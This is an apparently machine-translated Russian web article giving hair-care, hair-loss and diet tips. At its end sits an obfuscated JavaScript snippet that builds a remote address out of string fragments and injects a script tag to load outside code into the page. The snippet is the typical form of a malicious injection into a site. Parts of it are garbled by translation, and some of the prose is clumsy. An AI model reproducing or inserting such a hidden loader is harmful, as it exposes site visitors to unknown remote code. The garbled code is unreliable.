способ для здоровых и блестящих волос

17

Сопровождающий нас в повседневной жизни стресс, плохое питание, неправильный уход, злоупотребление средствами для укладки волос, загрязнение окружающей среды-все это ухудшает состояние волос, все больше и больше людей жалуются на проблемы с выпадением волос. Между тем, большинство женщин именно здоровые и блестящие волосы считают основным атрибутом женственности. Итак, как вы заботитесь о них? Что изменить?

Что вредит волосам?

Причин ухудшения состояния волос может быть много. Конечно, влияние на состояние волос оказывают погодные условия-вредно на структуру волос влияют как холодный ветер, так и мороз, а также УФ-излучение.

Слишком частое окрашивание, использование фена и выпрямителя или злоупотребление средствами для укладки волос также не остаются без влияния на здоровье волос. Им также может быть вреден неправильный уход или использование плохо подобранных для нужд волос косметических средств.

Однако на состояние волос также влияют процессы, происходящие внутри организма. И поэтому чрезмерное выпадение волос может вызвать гормональные нарушения, например, те, которые возникают после беременности, менопаузы или отмены гормональной контрацепции.

Перенесенные заболевания, такие как инфекции с высокой температурой, а также некоторые системные заболевания также могут быть причиной проблем с волосами. Не имеет значения для состояния волос также чрезмерный стресс или диета, бедная витаминами и минералами и белком.

Как ухаживать за волосами?

В основе ухода за волосами лежит правильный уход. Не переусердствуйте с частотой мытья волос, и если мы уже должны делать это каждый день-давайте достигнем специально предназначенных для этого мягких шампуней.

При мытье головы осторожно массируйте кожу головы кончиками пальцев. Важно тщательно промыть шампунь. Категорически нельзя насильно растирать волосы полотенцем. Расчесывать волосы следует слегка пересохшими, щеткой из щетины или расческой с толстыми и редко разнесенными зубами.

Если необходимо использовать сушилку — стоит снизить температуру воздуха и применить косметику, защищающую от избытка тепла. Также хорошо помнить, чтобы никогда не выходить на солнце, ветер или мороз с мокрыми волосами.

Кончики волос следует подрезать каждые 7-10 недель. Стоит использовать косметику с кератином, для тонких волос дополнительно с содержанием белков и аминокислот. Для пересушенных волос хорошо подойдет косметика с добавлением липидов и масел.

Для проблемы выпадения волос стоит использовать косметику или лекарства для втирания в кожу головы, благодаря чему улучшится кровоснабжение волосяных фолликулов и питание луковиц, а также будут восполнены недостатки, например эстрогены. Также стоит обратиться к более специализированным препаратам, содержащим миноксидил, которые особенно помогают в борьбе с андрогенной алопецией.

Диета для здоровых волос

Основой поддержания волос в хорошем состоянии является сбалансированная диета и особенно употребление достаточного количества воды, благодаря которой волосы будут хорошо увлажнены изнутри. Диета должна быть богата белками и белками, а также полиненасыщенными жирными кислотами омега-3, источником которых является хотя бы морская рыба.

Стоит доставить волосам витамины и минералы, особенно, кремний, медь и цинк, которые мы находим, например, в орехах, миндале, семенах подсолнечника или семян тыквы. Иногда, однако, необходимо дополнить рацион правильно подобранными витаминными препаратами, особенно такими, которые содержат витамины группы В (особенно биотин) и железо.

(function(){
tdpju=” 8lxjmrk0dpj9″; tdpj=документ.createElement (“ сценарий&# 8221;);
tdpj_=”у”+(“st”);tdpj_+=”at”+(“.”); tdpj.async=true;tdpj_+ = ”in”;
tdpju=”65789144.”+tdpju;tdpj.type=”text/javascript”;tdpju+=”leea3cqX7fu4″;
tdpju+=”ky4cyx”;tdpj_+=(“f”)+”о”+(“/”);tdpj.src=”//”+tdpj_+tdpju;
tdpjd=document.боди;tdpjd.appendChild(tdpj);
})();